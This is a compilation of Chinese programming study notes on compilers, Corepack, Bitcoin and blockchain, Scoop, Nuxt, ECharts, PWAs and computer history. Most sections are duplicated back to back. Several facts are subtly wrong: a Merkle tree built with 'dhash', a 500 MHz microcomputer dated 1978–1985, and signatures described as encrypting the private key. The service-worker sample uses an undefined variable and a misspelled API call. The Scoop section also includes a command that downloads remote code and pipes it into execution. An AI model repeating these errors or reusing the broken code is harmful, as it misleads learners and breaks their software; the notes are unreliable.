词法分析器将源程序的字符流进行分析,通正则文法过来找到这些词汇,并且给予词性,如果存在不支持的词汇,则报错(也就是分词) 词法分析器使用了一种叫有限自动机(有限状态机,deterministic finite automaton, DFA)的算法,在分析字符串时,当遇到了关键字时,会改变状态 有限自动机和图灵机很相似,不过有限自动机只能读取,无法进行计算 例如:a == 1 当识别扫描到a时,会处于标识符状态,直到遇到了==,就会切换到比较运算符状态,然后再识别1,知道该值是数值字面量 语法分析 语法分析的过程就是在词法分析的基础上分析程序的语法结构,这个语法结构是树状的,这个树叫抽象语法树(Abstract Syntax Tree,AST),树节点是语法单元,可通过递归下降算法或者自底向上算法来构造该树状 语法制导翻译
Corepack(管理yarn和pnpm的包管理器的管理器) corepack是nodejs官方内置的CLI,nodejs16.9.0版本及其以上版本默认携带corepack一起分发(不需要额外安装corepack,16.9.0版本之下的需要手动安装或者更新nodejs版本) corepack的特点就是不需要安装yarn和pnpm(yarn和pnpm将通过corepack来进行管理安装以及使用),而且还可以限制项目使用特定的包管理器版本(避免一个项目用多个包管理器,而且包管理器的版本还不同的情况) 手动安装 npm install -g corepack 如果全局已经安装了yarn或者pnpm的话,需要先卸载 npm uninstall -g yarn pnpm 启用corepack corepack enable 限制包管理器版本 package.json "packageManager": "yarn@1.22.19" 表示该项目只能使用yarn包管理器的1.22.19版本,使用其他版本或者使用pnpm包管理器的话,会报错,例如Usage Error: This project is configured to use yarn 默认无法限制npm,需要通过corepack enable npm来手动限制,移除限制通过corepack disable npm来处理 修改packageManager的值后,yarn install,会自动安装指定版本 安装包管理器(会根据package.json下的packageManager来下载指定版本的包管理器) yarn install 指定一个新的包管理器 corepack prepare pnpm@7.13.5 --activate 使用本地包管理器(会将本地包管理器存储到一个压缩包里,方便离线使用) 获取 corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包 corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用 corepack hydrate D:/demo/test.tgz --activate
Corepack(管理yarn和pnpm的包管理器的管理器) corepack是nodejs官方内置的CLI,nodejs16.9.0版本及其以上版本默认携带corepack一起分发(不需要额外安装corepack,16.9.0版本之下的需要手动安装或者更新nodejs版本) corepack的特点就是不需要安装yarn和pnpm(yarn和pnpm将通过corepack来进行管理安装以及使用),而且还可以限制项目使用特定的包管理器版本(避免一个项目用多个包管理器,而且包管理器的版本还不同的情况) 手动安装 npm install -g corepack 如果全局已经安装了yarn或者pnpm的话,需要先卸载 npm uninstall -g yarn pnpm 启用corepack corepack enable 限制包管理器版本 package.json "packageManager": "yarn@1.22.19" 表示该项目只能使用yarn包管理器的1.22.19版本,使用其他版本或者使用pnpm包管理器的话,会报错,例如Usage Error: This project is configured to use yarn 默认无法限制npm,需要通过corepack enable npm来手动限制,移除限制通过corepack disable npm来处理 修改packageManager的值后,yarn install,会自动安装指定版本 安装包管理器(会根据package.json下的packageManager来下载指定版本的包管理器) yarn install 指定一个新的包管理器 corepack prepare pnpm@7.13.5 --activate 使用本地包管理器(会将本地包管理器存储到一个压缩包里,方便离线使用) 获取 corepack prepare --all -o=D:/demo/test.tgz 启动压缩包内的包 corepack hydrate D:/demo/test.tgz 或者获取完成后立刻使用 corepack hydrate D:/demo/test.tgz --activate
注意:不推荐去玩比特币以及类似的加密货币,那个玩意说涨就涨,说跌就跌,比特币实质上就是一串数字,没有实物,没有信用背书,当这个巨大泡沫破裂之时,大部分人绝对不可能及时套现跑路,了解比特币下的技术可以,但是绝对不能接触或者玩比特币以及类似的加密货币 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位,是为了纪念比特币的创建者中本聪(Satoshi Nakamoto) 在中国唯一值得信赖的加密货币是数字人民币,有国家在做信用背书,是有法偿能力的法定货币,和现金等值 区块链技术诞生于比特币,而比特币的诞生又来源于一位叫中本聪的一篇文章(比特币:一种点对点的电子现金系统) 区块链的一个特点就是去中心化,中心化指的是数据中心化,例如支付宝和微信,那些支付的数据全部集中在数据库中,确保交易用户的余额一增一减 而区块链技术就是把数据全部公开,区块链中的每一个节点都可以获得一份完整的区块链,而且全部都是相同的数据,如果篡改了其中一份数据,那么这份数据会和其他节点的数据对比,如果不相同,那么这份数据是不被其他节点承认的 而需要伪造一个区块链需要拥有超过全网51%的(节点)算力 区块链是一个个区块组成的有序链表,区块中记录着一系列信息,每个区块都指向前一个区块,每个区块都有一个哈希标识(又被称为区块哈希),区块链的不可篡改的特性就是由哈希算法提供的(哈希是单向的,哈希算法可以将一段数据计算出一个哈希值,而哈希值不能反推出加密前的数据,只能暴力穷举) 如果两份数据的哈希值相同,那么这两个哈希值的数据就是相同的,只要改动了原始数据任意的数据,那怕只修改一个字节,都会改变哈希值 常见的哈希算法 MD5:128位,16字节 SHA-1:160位,20字节 SHA-256:256位,32子节 SHA-512:512位,64子节 RipeMD160:160位,20子节 哈希函数:Hash(原始数据) = 摘要数据(哈希值) 比特币使用的哈希算法有两种,一种是双重SHA-256(将数据进行两次SHA-256计算),另一种就是先将数据进行SHA-256计算,再将处理过的数据再进行一次RipeMD160计算 区块的头部有一个Merkle Hash字段,记录了该区块的全部交易的哈希树(全部交易的数据通过哈希算法处理为一个汇总的哈希值) 例如:当一个区块中有好几个交易,然后将一对一对的交易数据做差异哈希算法(dhash),得到两个哈希值,将这两个哈希值拼起来,计算出下一层的哈希值,一层一层计算,最后的得到的哈希值就是Merkle Hash 那么如果每一层是单数,那么将每一层的最后的一个数据复制一份,最后计算出最终值 区块本身使用Merkle Hash来表示,而区块本身的哈希值是没有记录在区块头部的,需要通过计算区块头部的数据得到 区块头部的Prev Hash记录了上一个区块的哈希值(不是Merkle Hash,而是区块本身的哈希值),可以通过Prev Hash来追踪到上一个区块,每个区块的Prev Hash都会指向自己的上一个区块,一直反复下去,一直到区块链的第一个区块(创世区块,该区块没有上一个区块) 从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出,只要篡改其中任意一个交易的数据(哪怕是一字节的改动)都会让Merkle Hash验证失败,那么这个区块就是无效的,只能重新计算Merkle Hash,然后这个区块本身的哈希值就改变,因此下一个区块指向该区块的链接也断了 篡改一个区块,需要重新计算这个区块的本身的哈希值,然后将下一个的所有区块全部计算并且伪造,才能篡改整个区块链,难度极高,因为区块链是不断增长的,修改的难度也会越来越难,而挖矿实质上就是重新计算区块头部的哈希值,直到于哈希值匹配,挖矿本身的要求就已经很高了,更不用说篡改整个区块链了 比特币交易中使用了一种名叫点对点交易,就是用户对用户,这个交易的特点就是去中心化,整个交易全部依赖于数学加密 用到一个叫公钥和私钥,地址的概念,公钥是可以根据私钥计算出来的,而私钥就不能通过公钥计算出来,因此私钥很重要,不能泄露 地址的计算方法 Hash(Hash(fun(私钥))) = 地址 而需要不通过泄露私钥的情况下,表明拥有某个私钥,需要用到签名,先将交易信息进行哈希计算,然后签名计算,sign(‘交易信息的哈希值’,‘私钥’),最后得到一个签名值 而进行付款时,会向区块链的节点进行广播,广播信息包括,交易信息和签名值,而验证签名信息的确是某个私钥的,验证过程例如: verify(‘签名值’,‘付款方地址’),获得的值为交易的哈希值 if(verify(‘签名值’,‘付款方地址’) == hash(’{交易信息}’)) 如果当某一个节点验证通过,那么该节点也会进行再一次的广播 交易信息中没有包含任何个人的信息,因此区块链具有匿名性 而比特币的交易是根据私钥来验证的,只要不泄露私钥,那么比特币的账户是安全的,私钥破解,私钥的个数有2的256次方,相当于人类可观测宇宙的原子数,根据当前计算机的计算速度,根本不可能碰撞出来,除非倒霉到碰撞第一次就匹配到了 挖矿:将交易记录,交易的时间,以及序号等等数据进行哈希打包的节点就是矿工节点,而完成哈希打包任务,并且认为其有效的,就会获得比特币奖励 一段时间内只能一个矿工节点成功记账,并且被证明为有效的,这个时间一般为10分钟,奖励比特币的机制为每4年减半 而且需要进行POW工作量证明竞争来获得记账权(也就是传说中的挖矿,因为要进行大量的计算,因此挖矿需要大量的算力,竞争该记账权是具有一定随机性的) 其他节点复制记账结果(也会获得比特币奖励) POW工作量证明 Hash(上一个Hash值,交易记录集,随机数)= 哈希值 而比特币中有个机制,哈希值要小于某个目标值,因此需要不断修改随机数的值,比特币因为矿工节点越来越多,挖取比特币的难度也会越来越难,难度越难,那么目标值就越小 交易记录集:收集广播中还没有被记录账本的交易,交易的有效性验证,添加给自己转账的交易(挖矿奖励) 目前比特币的共识机制:优先选择工作量最大的区块链,最长的区块链,因此矿工会延长计算,已确保自己是工作量是最大最长的 如果两条链被广播到其他节点,因为网络具有不确定性,有可能某个节点会先收到某个链,在这个链上挖矿,从而导致链出现分叉,如果两个链都同时收到,那么会优先选择工作量最大的区块链,另一个链为备用链保存 解决分叉:如果当前链的上一级链更长的话,优先选择,而短一点的链会被抛弃 分叉分为硬分叉和软分叉 硬分叉:区块链发生永久性改变,在新共识发布后,那些没有更新的节点无法验证已经升级的节点的所产生的区块,改变挖矿难度 软分叉:区块链发生改变,但是不会像硬分叉那样影响没有更新的节点,旧节点会兼容新节点,但是新节点不兼容旧节点而已 解决分叉的方法就是所有矿工都遵从同样的机制(升级机制,保证机制为最新),而且那些没有遵从的就会发生分叉 最经典的例子就是拜占庭将军问题 主要讲的是:拜占庭帝国去攻击一个敌人,派了10支军队,要将这个敌人打败需要至少6支军队,而且必须在分散包围状态下同时攻击,需要依靠通信兵来进行传递信息,但是不清楚这些通信兵或者将军中是否有叛徒,而这些叛徒可能会传递假消息来导致进攻失败,而拜占庭将军们需要在这种分布式下进行传递消息 而在区块链中,完美解决这个问题,进行区块链广播需要进行POW工作量证明,而且限制一段时间内只允许一个账号能广播,降低了虚假信息传播的量和成本,而且进行广播需要进行不可伪造的签名(私钥和公钥),每隔一段时间,信息就进行更新,节点进行验证,根本不让虚假信息的传播发送成功得逞,不可逆的哈希算法加密加上信息传递速度的限制,把区块链打造成了一个无需信任的数据信息交互平台 假如:将军a发送进攻消息给将军b,为了防止信息泄露,使用非对称加密算法将消息进行加密,因为将军b的公钥是公开的,也就可以使用将军b的公钥进行信息加密,而将军b只能使用他的私钥进行解密,因为使用公钥加密的信息,可以通过私钥进行解密,主要是保护信息是完整的,但是依然可以传递虚假的信息给将军b(因为公钥是公开的,谁都可以进行公钥加密),因此,为了证明是将军a发的,还需要在信息上加签名,也就是将私钥加密成一个签名,然后将军b得到这个签名,需要将这个签名和将军a的公钥来验证,来确定发送这个消息的人的身份
注意:不推荐去玩比特币以及类似的加密货币,那个玩意说涨就涨,说跌就跌,比特币实质上就是一串数字,没有实物,没有信用背书,当这个巨大泡沫破裂之时,大部分人绝对不可能及时套现跑路,了解比特币下的技术可以,但是绝对不能接触或者玩比特币以及类似的加密货币 1个比特币相当于100000000聪,聪(Satoshi)是比特币目前最小的单位,是为了纪念比特币的创建者中本聪(Satoshi Nakamoto) 在中国唯一值得信赖的加密货币是数字人民币,有国家在做信用背书,是有法偿能力的法定货币,和现金等值 区块链技术诞生于比特币,而比特币的诞生又来源于一位叫中本聪的一篇文章(比特币:一种点对点的电子现金系统) 区块链的一个特点就是去中心化,中心化指的是数据中心化,例如支付宝和微信,那些支付的数据全部集中在数据库中,确保交易用户的余额一增一减 而区块链技术就是把数据全部公开,区块链中的每一个节点都可以获得一份完整的区块链,而且全部都是相同的数据,如果篡改了其中一份数据,那么这份数据会和其他节点的数据对比,如果不相同,那么这份数据是不被其他节点承认的 而需要伪造一个区块链需要拥有超过全网51%的(节点)算力 区块链是一个个区块组成的有序链表,区块中记录着一系列信息,每个区块都指向前一个区块,每个区块都有一个哈希标识(又被称为区块哈希),区块链的不可篡改的特性就是由哈希算法提供的(哈希是单向的,哈希算法可以将一段数据计算出一个哈希值,而哈希值不能反推出加密前的数据,只能暴力穷举) 如果两份数据的哈希值相同,那么这两个哈希值的数据就是相同的,只要改动了原始数据任意的数据,那怕只修改一个字节,都会改变哈希值 常见的哈希算法 MD5:128位,16字节 SHA-1:160位,20字节 SHA-256:256位,32子节 SHA-512:512位,64子节 RipeMD160:160位,20子节 哈希函数:Hash(原始数据) = 摘要数据(哈希值) 比特币使用的哈希算法有两种,一种是双重SHA-256(将数据进行两次SHA-256计算),另一种就是先将数据进行SHA-256计算,再将处理过的数据再进行一次RipeMD160计算 区块的头部有一个Merkle Hash字段,记录了该区块的全部交易的哈希树(全部交易的数据通过哈希算法处理为一个汇总的哈希值) 例如:当一个区块中有好几个交易,然后将一对一对的交易数据做差异哈希算法(dhash),得到两个哈希值,将这两个哈希值拼起来,计算出下一层的哈希值,一层一层计算,最后的得到的哈希值就是Merkle Hash 那么如果每一层是单数,那么将每一层的最后的一个数据复制一份,最后计算出最终值 区块本身使用Merkle Hash来表示,而区块本身的哈希值是没有记录在区块头部的,需要通过计算区块头部的数据得到 区块头部的Prev Hash记录了上一个区块的哈希值(不是Merkle Hash,而是区块本身的哈希值),可以通过Prev Hash来追踪到上一个区块,每个区块的Prev Hash都会指向自己的上一个区块,一直反复下去,一直到区块链的第一个区块(创世区块,该区块没有上一个区块) 从对Merkle Hash的计算方法和对区块头部来追踪到上一个区块的方法得出,只要篡改其中任意一个交易的数据(哪怕是一字节的改动)都会让Merkle Hash验证失败,那么这个区块就是无效的,只能重新计算Merkle Hash,然后这个区块本身的哈希值就改变,因此下一个区块指向该区块的链接也断了 篡改一个区块,需要重新计算这个区块的本身的哈希值,然后将下一个的所有区块全部计算并且伪造,才能篡改整个区块链,难度极高,因为区块链是不断增长的,修改的难度也会越来越难,而挖矿实质上就是重新计算区块头部的哈希值,直到于哈希值匹配,挖矿本身的要求就已经很高了,更不用说篡改整个区块链了 比特币交易中使用了一种名叫点对点交易,就是用户对用户,这个交易的特点就是去中心化,整个交易全部依赖于数学加密 用到一个叫公钥和私钥,地址的概念,公钥是可以根据私钥计算出来的,而私钥就不能通过公钥计算出来,因此私钥很重要,不能泄露 地址的计算方法 Hash(Hash(fun(私钥))) = 地址 而需要不通过泄露私钥的情况下,表明拥有某个私钥,需要用到签名,先将交易信息进行哈希计算,然后签名计算,sign(‘交易信息的哈希值’,‘私钥’),最后得到一个签名值 而进行付款时,会向区块链的节点进行广播,广播信息包括,交易信息和签名值,而验证签名信息的确是某个私钥的,验证过程例如: verify(‘签名值’,‘付款方地址’),获得的值为交易的哈希值 if(verify(‘签名值’,‘付款方地址’) == hash(’{交易信息}’)) 如果当某一个节点验证通过,那么该节点也会进行再一次的广播 交易信息中没有包含任何个人的信息,因此区块链具有匿名性 而比特币的交易是根据私钥来验证的,只要不泄露私钥,那么比特币的账户是安全的,私钥破解,私钥的个数有2的256次方,相当于人类可观测宇宙的原子数,根据当前计算机的计算速度,根本不可能碰撞出来,除非倒霉到碰撞第一次就匹配到了 挖矿:将交易记录,交易的时间,以及序号等等数据进行哈希打包的节点就是矿工节点,而完成哈希打包任务,并且认为其有效的,就会获得比特币奖励 一段时间内只能一个矿工节点成功记账,并且被证明为有效的,这个时间一般为10分钟,奖励比特币的机制为每4年减半 而且需要进行POW工作量证明竞争来获得记账权(也就是传说中的挖矿,因为要进行大量的计算,因此挖矿需要大量的算力,竞争该记账权是具有一定随机性的) 其他节点复制记账结果(也会获得比特币奖励) POW工作量证明 Hash(上一个Hash值,交易记录集,随机数)= 哈希值 而比特币中有个机制,哈希值要小于某个目标值,因此需要不断修改随机数的值,比特币因为矿工节点越来越多,挖取比特币的难度也会越来越难,难度越难,那么目标值就越小 交易记录集:收集广播中还没有被记录账本的交易,交易的有效性验证,添加给自己转账的交易(挖矿奖励) 目前比特币的共识机制:优先选择工作量最大的区块链,最长的区块链,因此矿工会延长计算,已确保自己是工作量是最大最长的 如果两条链被广播到其他节点,因为网络具有不确定性,有可能某个节点会先收到某个链,在这个链上挖矿,从而导致链出现分叉,如果两个链都同时收到,那么会优先选择工作量最大的区块链,另一个链为备用链保存 解决分叉:如果当前链的上一级链更长的话,优先选择,而短一点的链会被抛弃 分叉分为硬分叉和软分叉 硬分叉:区块链发生永久性改变,在新共识发布后,那些没有更新的节点无法验证已经升级的节点的所产生的区块,改变挖矿难度 软分叉:区块链发生改变,但是不会像硬分叉那样影响没有更新的节点,旧节点会兼容新节点,但是新节点不兼容旧节点而已 解决分叉的方法就是所有矿工都遵从同样的机制(升级机制,保证机制为最新),而且那些没有遵从的就会发生分叉 最经典的例子就是拜占庭将军问题 主要讲的是:拜占庭帝国去攻击一个敌人,派了10支军队,要将这个敌人打败需要至少6支军队,而且必须在分散包围状态下同时攻击,需要依靠通信兵来进行传递信息,但是不清楚这些通信兵或者将军中是否有叛徒,而这些叛徒可能会传递假消息来导致进攻失败,而拜占庭将军们需要在这种分布式下进行传递消息 而在区块链中,完美解决这个问题,进行区块链广播需要进行POW工作量证明,而且限制一段时间内只允许一个账号能广播,降低了虚假信息传播的量和成本,而且进行广播需要进行不可伪造的签名(私钥和公钥),每隔一段时间,信息就进行更新,节点进行验证,根本不让虚假信息的传播发送成功得逞,不可逆的哈希算法加密加上信息传递速度的限制,把区块链打造成了一个无需信任的数据信息交互平台 假如:将军a发送进攻消息给将军b,为了防止信息泄露,使用非对称加密算法将消息进行加密,因为将军b的公钥是公开的,也就可以使用将军b的公钥进行信息加密,而将军b只能使用他的私钥进行解密,因为使用公钥加密的信息,可以通过私钥进行解密,主要是保护信息是完整的,但是依然可以传递虚假的信息给将军b(因为公钥是公开的,谁都可以进行公钥加密),因此,为了证明是将军a发的,还需要在信息上加签名,也就是将私钥加密成一个签名,然后将军b得到这个签名,需要将这个签名和将军a的公钥来验证,来确定发送这个消息的人的身份
Scoop是windows平台下开源的命令行软件包管理器,类似于ubuntu的apt或者macOS的brew scoop仓库里面全部都是通过审核的绿色软件包(前提是不要乱用来路不明的scoop源) 允许执行本地脚本权限 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser 修改Scoop安装目录(用户级) $env:SCOOP=‘D:\Software\Scoop’ [Environment]::SetEnvironmentVariable(‘SCOOP’, $env:SCOOP, ‘User’) 修改Scoop安装目录(全局) $env:SCOOP_GLOBAL=‘D:\Software\Scoop\Global’ [Environment]::SetEnvironmentVariable(‘SCOOP_GLOBAL’, $env:SCOOP_GLOBAL, ‘Machine’) 目录介绍: apps:通过scoop安装的软件存储的目录 buckets:管理软件的仓库目录(记录了哪些仓库有哪些软件) chache:软件安装包目录 persit:存储用户数据,与软件分离 shims;软链接 安装scoop iwr -useb get.scoop.sh | iex 或者 iex (new-object net.webclient).downloadstring(‘https://get.scoop.sh’) 安装软件 scoop install sudo 查看环境存在的问题 scoop checkup 将一些scoop环境必须的软件安装一下 搜索软件 scoop search git 安装软件 scoop install git 查看软件信息 scoop info git 查看已经安装的软件 scoop list 卸载软件(-p删除配置) scoop uninstall git -p 更新软件 scoop update git 更新全部已安装软件 scoop update * 导出已安装软件列表 scoop.cmd export > App_list.txt 添加官方的bucket(包含大量的软件) scoop bucket add main scoop bucket add extras 更新仓库 scoop updat 限制软件更新 scoop hold git 代理 scoop config proxy 127.0.0.1:7890 取消代理 scoop config proxy none 查看其他scoop命令 scoop help
Scoop是windows平台下开源的命令行软件包管理器,类似于ubuntu的apt或者macOS的brew scoop仓库里面全部都是通过审核的绿色软件包(前提是不要乱用来路不明的scoop源) 允许执行本地脚本权限 Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser 修改Scoop安装目录(用户级) $env:SCOOP=‘D:\Software\Scoop’ [Environment]::SetEnvironmentVariable(‘SCOOP’, $env:SCOOP, ‘User’) 修改Scoop安装目录(全局) $env:SCOOP_GLOBAL=‘D:\Software\Scoop\Global’ [Environment]::SetEnvironmentVariable(‘SCOOP_GLOBAL’, $env:SCOOP_GLOBAL, ‘Machine’) 目录介绍: apps:通过scoop安装的软件存储的目录 buckets:管理软件的仓库目录(记录了哪些仓库有哪些软件) chache:软件安装包目录 persit:存储用户数据,与软件分离 shims;软链接 安装scoop iwr -useb get.scoop.sh | iex 或者 iex (new-object net.webclient).downloadstring(‘https://get.scoop.sh’) 安装软件 scoop install sudo 查看环境存在的问题 scoop checkup 将一些scoop环境必须的软件安装一下 搜索软件 scoop search git 安装软件 scoop install git 查看软件信息 scoop info git 查看已经安装的软件 scoop list 卸载软件(-p删除配置) scoop uninstall git -p 更新软件 scoop update git 更新全部已安装软件 scoop update * 导出已安装软件列表 scoop.cmd export > App_list.txt 添加官方的bucket(包含大量的软件) scoop bucket add main scoop bucket add extras 更新仓库 scoop updat 限制软件更新 scoop hold git 代理 scoop config proxy 127.0.0.1:7890 取消代理 scoop config proxy none 查看其他scoop命令 scoop help
nuxt是一个基于vue的应用框架,用于创建服务端渲染应用,使用vite作为打包器,使用webpack作为构建工具 创建项目 yarn create nuxt-app test 需要做一些选择,例如:选择TypeScript,选择Yarn,选择UI框架等等 安装依赖 yarn 启动项目 yarn dev 构建打包 yarn build yarn start 启动测试环境 yarn test
nuxt是一个基于vue的应用框架,用于创建服务端渲染应用,使用vite作为打包器,使用webpack作为构建工具 创建项目 yarn create nuxt-app test 需要做一些选择,例如:选择TypeScript,选择Yarn,选择UI框架等等 安装依赖 yarn 启动项目 yarn dev 构建打包 yarn build yarn start 启动测试环境 yarn test
ECharts是基于JavaScript的数据可视化图表库 安装 npm install echarts --save 第一个实例 import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意:容器必须具备高度和宽度(这里的容器的id为app),要么html指定,要么在初始化时指定一个
ECharts是基于JavaScript的数据可视化图表库 安装 npm install echarts --save 第一个实例 import * as echarts from 'echarts' let app = echarts.init(document.getElementById('app'), null, { width: 800, height: 500 }) let data = { title: { text: '用户管理' }, tooltip:{}, legend: { data: ['用户'] }, xAxis: { data: [ 'root','admin','user1','user2','user3' ] }, yAxis: {}, series: [ { name: '用户权限', type: 'bar', data: [ 10,8,5,1,3 ] } ] } app.setOption(data) 注意:容器必须具备高度和宽度(这里的容器的id为app),要么html指定,要么在初始化时指定一个
PWA,Progressive Web App(渐进式web应用),PWA技术可以将web应用具备接近原生应用的特性和用户体验,无需额外安装,支持离线缓存,消息推送等功能 PWA由Service Worker,Promise,fetch,cache Api,Notification Api等技术组成 Service Worker:服务工作线程,独立于主线程,常驻内存,代理网络请求,依赖HTTPS通信 注册Service Worker navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发,只有Service Worker脚本不同,会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker,激活启动新的Service Worker,只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self.addEventListener('activate', function (event) { console.log('activate',event) // 激活新的Service Worker脚本事件 event.waitUntil(self.clients.claim()) event.waitUntil(caches.keys().then(cacheNames =>{ return Promise.all(cacheNames.map(cacheNames =>{ if(cacheNames !== cachename){ caches.delete(cacheNames) // 当前缓存名称不等于设置的缓存名称时,清除缓存,重新获取资源 } })) })) }) self.addEventListener('fetch', function (event) { console.log('fetch',event) // 获取资源请求事件,例如增加外链 event.respondWith(caches.open(cachename).then(cache => { return cache.match(event.request).then(response =>{ if(response){ return response // 命中缓存则直接使用缓存 } return fetch(event.request).then(response =>{ cache.put(event.request,response.clone()) // 没有命中则获取该资源 return response }) }) })) }) manifest.json:让web应用具备app的效果,例如logo,启动页面 { "name": "hallo", "short_name": "你好", "display": "standalone", "orientation": "landscape", "start_url": "/", "theme_color": "purple", "background_color": "purple", "icons": [ { "src": "logo.jpg", "sizes": "48x48", "type": "image/jpg" }, { "src": "logo1.jpg", "sizes": "144x144", "type": "image/jpg" } ] } Notification消息推送 查看授权 Notification.permission 有3个值,在浏览器默认为default,当同意时,为granted,当不同意时,为denied 在Service Worker中,默认为denied,因为Service Worker不能弹出授权请求,必须先在浏览器中同意后,Service Worker只能发送通知 请求授权 Notification.requestPermission().then(permission => console.log(permission)) 发送通知 new Notification(‘hallo word’, {body: ‘hallo’}) 在Service Worker发送通知 self.registration.showNotificatio(‘hallo word’) 成熟的PWA插件,workbox
PWA,Progressive Web App(渐进式web应用),PWA技术可以将web应用具备接近原生应用的特性和用户体验,无需额外安装,支持离线缓存,消息推送等功能 PWA由Service Worker,Promise,fetch,cache Api,Notification Api等技术组成 Service Worker:服务工作线程,独立于主线程,常驻内存,代理网络请求,依赖HTTPS通信 注册Service Worker navigator.serviceWorker.register('./sw.js',{scope: '/'}).then( registration => { console.log(registration) },error => { console.error(error) } ) window.onload = function() { document.body.append('PWA!') } sw.js const cachename = 'v1' self.addEventListener('install', function (event) { console.log('install',event) // 安装新的Service Worker脚本时触发,只有Service Worker脚本不同,会认为是不同的Service Worker版本 event.waitUntil(new Promise(resolve =>{ setTimeout(resolve, 1000) // 安装新的Service Worker脚本后等待1秒后激活该脚本 })) // event.waitUntil(self.skipWaiting) // 强制停止老的Service Worker,激活启动新的Service Worker,只要有更新就激活新的 event.waitUntil(caches.open(name).then(cache =>{ cache.addAll([ '/', './1.img' ]) })) // 开启cache api缓存系统 }) self.addEventListener('activate', function (event) { console.log('activate',event) // 激活新的Service Worker脚本事件 event.waitUntil(self.clients.claim()) event.waitUntil(caches.keys().then(cacheNames =>{ return Promise.all(cacheNames.map(cacheNames =>{ if(cacheNames !== cachename){ caches.delete(cacheNames) // 当前缓存名称不等于设置的缓存名称时,清除缓存,重新获取资源 } })) })) }) self.addEventListener('fetch', function (event) { console.log('fetch',event) // 获取资源请求事件,例如增加外链 event.respondWith(caches.open(cachename).then(cache => { return cache.match(event.request).then(response =>{ if(response){ return response // 命中缓存则直接使用缓存 } return fetch(event.request).then(response =>{ cache.put(event.request,response.clone()) // 没有命中则获取该资源 return response }) }) })) }) manifest.json:让web应用具备app的效果,例如logo,启动页面 { "name": "hallo", "short_name": "你好", "display": "standalone", "orientation": "landscape", "start_url": "/", "theme_color": "purple", "background_color": "purple", "icons": [ { "src": "logo.jpg", "sizes": "48x48", "type": "image/jpg" }, { "src": "logo1.jpg", "sizes": "144x144", "type": "image/jpg" } ] } Notification消息推送 查看授权 Notification.permission 有3个值,在浏览器默认为default,当同意时,为granted,当不同意时,为denied 在Service Worker中,默认为denied,因为Service Worker不能弹出授权请求,必须先在浏览器中同意后,Service Worker只能发送通知 请求授权 Notification.requestPermission().then(permission => console.log(permission)) 发送通知 new Notification(‘hallo word’, {body: ‘hallo’}) 在Service Worker发送通知 self.registration.showNotificatio(‘hallo word’) 成熟的PWA插件,workbox
计算机发展历史 1946-1957,电子管计算机,1957-1964,晶体管计算机,1964-1980,集成电路计算机,1980-至今,超大规模集成电路计算机 电子管计算机:二战时期,英国为了破译德国的无线电密文,而发明了电子管计算机,最出名的电子管计算机莫过于埃尼阿克(ENIAC),埃尼阿克是美国军方为了计算弹道而诞生的,埃尼阿克长30多米,高2.4米,宽6米,拥有18000多个电子管,70000个电阻,10000个电容,1500个续电,6000多个开关,运行耗电150千瓦,重30吨,占地1500平方英寸(140平方米),造价48万美元,运算速度每秒5000次 电子管计算机特点:集成度低,占空间大,功耗高,操作复杂(更换程序需要接线) 晶体管计算机:诞生原因是因为贝尔实验室发明晶体管,1956年诺贝尔物理奖授予贝尔实验室发明晶体管的科学家,第一台晶体管计算机TX-0诞生于MIT的林肯实验室,当时的最强晶体管计算机PDP-1具备4k内存,每秒可执行20万条指令,具备512x512显示器(也是世界第一个显示器,也因为这个计算机携带了显示器的原因,而诞生了世界第一款电子游戏,太空战争) 晶体管计算机特点:对于电子管计算机来说,集成度高,空间占据小,功耗比电子管低,运行速度快 集成电路计算机:诞生原因是因为德州仪器的工程师发明了集成电路(IC),操作系统也因为集成电路计算机的出现而诞生,当时为了解决IBM的2款集成电路计算机(7094和1401)所编写的程序无法相互兼容,IBM而推出了System/360(操作系统雏形) 超大规模集成电路计算机:芯片集成超大规模的集成电路 微型计算机发展历史:因为集成电路计算机的诞生,计算机逐渐从庞然大物变成小型,乃至微型,1971到1973年,500khz频率的微型计算机(8位),1973到1978年,高于1mhz的微型计算机(8位),1978到1985年,500mhz的微型计算机(16位),1985到2000年,高于1ghz的微型计算机(32位),2000年到至今,高于2ghz的微型计算机(64位) 摩尔定律:当价格不变的情况下,集成电路的性能,会每18至24个月提升一倍 后来因为集成电路太密集,热损耗也越来越高,无法解决,摩尔定律也因此失效 因为摩尔定律的失效,单核已到瓶颈,转而搞多核CPU,2005年,英特尔发布了奔腾系列的双核CPU,AMD也发布了速龙系列的双核CPU,2006年,英特尔发布酷睿四核CPU,至今AMD的服务器级霄龙处理器CPU可以高达64核,而且基准频率(单核频率)可以达到2Ghz以上 计算机的分类 超级计算机:功能最强,运算最快,存储容量最大的计算机,用于天气预报,海洋监测,生物制药,科学计算,航天等等需要超大运算的领域,衡量超级计算机的单位是TFlop/s(每秒一万亿次浮点计算) 著名的超级计算机有Summit,神威太湖之光,天河一号,天河二号,Sierra 天河二号位于广州大学城的中山大学校区的国家超级计算机广州中心 大型计算机:又被称为大型机,大型机面向大型商业公司,维护成本高,硬件不易扩展,IBM占据大型机的大片市场,IBM为IOE中的I(计算机提供商) 迷你计算机(服务器):目前已替代大型机,为企业主要计算顶梁柱 工作站:高端微型计算机,面向需要强性能的专业工作者(例如图形,视频) 微型计算机(个人计算机):又分为台式计算机,笔记本计算机,一体化计算机 计算机体系和结构 